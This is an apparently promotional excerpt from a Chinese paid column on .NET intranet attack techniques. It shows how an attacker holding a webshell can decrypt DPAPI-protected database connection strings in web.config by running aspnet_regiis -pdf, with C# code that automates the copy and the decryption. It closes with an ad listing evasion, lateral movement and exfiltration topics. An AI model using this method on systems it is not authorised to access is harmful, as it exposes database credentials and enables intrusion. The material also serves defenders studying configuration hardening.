01阅读须知
此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。
02基本介绍
本文内容部分节选自小报童《.NET 通过命令行解密Web.config配置》,完整的文章内容请加入小报童后订阅查看。现在限时只需59元,永久买断!目前已有200+位朋友抢先预定,我们会长期更新,对.NET内网安全的朋友们请尽快订阅该报刊!
03编码实现
在.NET应用系统中,保护数据库连接字符串的安全性至关重要。.NET 提供了一种通过 DataProtectionConfigurationProvider 加密连接字符串的方法,以防止敏感数据泄露。然而,在内网信息收集阶段,攻击者只需在目标主机上运行aspnet_regiis.exe这个命令行工具即可完成解密,获取数据库连接的明文字符串。
3.1 aspnet_regiis是什么
aspnet_regiis.exe 是一个命令行工具,用于配置和管理 .NET 应用程序在 IIS 中的注册和设置。该工具通常与 .NET 版本一起安装,用于执行各种与 ASP.NET 配置相关的任务。
使用 aspnet_regiis 工具将特定版本的 ASP.NET 注册到 IIS 上,确保 .NET 应用程序可以在该版本上运行,注册命令如下所示:
aspnet_regiis -i
3.2 .NET加解密提供器
DataProtectionConfigurationProvider 是 .NET Framework 2.0 引入的默认加密提供程序之一,主要用于在单台服务器上加密和解密配置文件数据。原理上使用 Windows Data Protection API (DPAPI) 进行加密,这意味着加密数据与操作系统的用户或机器密钥绑定。只有加密时使用的同一用户帐户或同一台机器才能解密数据。假设在 web.config 中有一个连接字符串如下所示。
<connectionStrings>
<add name="MyDb" connectionString="Data Source=myServer;Initial Catalog=myDb;User ID=myUser;Password=myPass;" providerName="System.Data.SqlClient" />
</connectionStrings>
使用aspnet_regiis.exe进行加密数据库连接字符串的命令如下所示。
aspnet_regiis -pef "connectionStrings" "C:\path\to\your\project" -prov "DataProtectionConfigurationProvider"
加密后,内容将被替换成如下所示。
<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">
<EncryptedData>
<CipherData>
<CipherValue>AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAnu1l5eTFekKy...</CipherValue>
</CipherData>
</EncryptedData>
</connectionStrings>
解密连接字符串的命令如下所示。因此,这种加密方式适用于单台服务器环境下的配置文件保护,不适合在多个服务器之间共享加密的数据。密钥由 Windows 操作系统管理,不需要额外的密钥管理。
aspnet_regiis -pdf "connectionStrings" "C:\path\to\your\project"
3.3 技术实现
该工具首先会将站点根目录下的 web.config 文件复制到一个新创建的 dotNetMatrix 目录中,以防止直接操作原始配置文件导致意外损坏,具体代码如下所示。
string webConfigPath = Path.Combine(exeDirectory, "web.config");
string targetDirectory = Path.Combine(exeDirectory, "dotNetMatrix");
string targetWebConfigPath = Path.Combine(targetDirectory, "web.config");
if (File.Exists(webConfigPath))
{
Directory.CreateDirectory(targetDirectory);
File.Copy(webConfigPath, targetWebConfigPath, true);
Console.WriteLine($"web.config 已复制到 {targetWebConfigPath}");
}
通过 File.Exists 判断 web.config 文件是否存在,然后创建 dotNetMatrix 目录,并将 web.config 文件复制到该目录下。随后,使用 ProcessStartInfo 配置解密命令行参数,并启动 aspnet_regiis.exe 进程执行解密操作。
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = aspnetRegiisPath,
Arguments = decryptCommand,
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
};
using (Process process = Process.Start(psi))
{
string result = process.StandardOutput.ReadToEnd();
Console.WriteLine(result);
process.WaitForExit();
}
最后,打开dotNetMatrix文件夹查看解密后的web.config内容,可以发现数据库连接字符串已经成功解密。如下图所示
综上,使用DataProtectionConfigurationProvider 加密器可以提高攻击者获取明文密码的难度,但在获取目标webshell权限后,通过自动化攻击就可以完成加密连接字符串的解密操作。
04.NET 电子报刊
《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理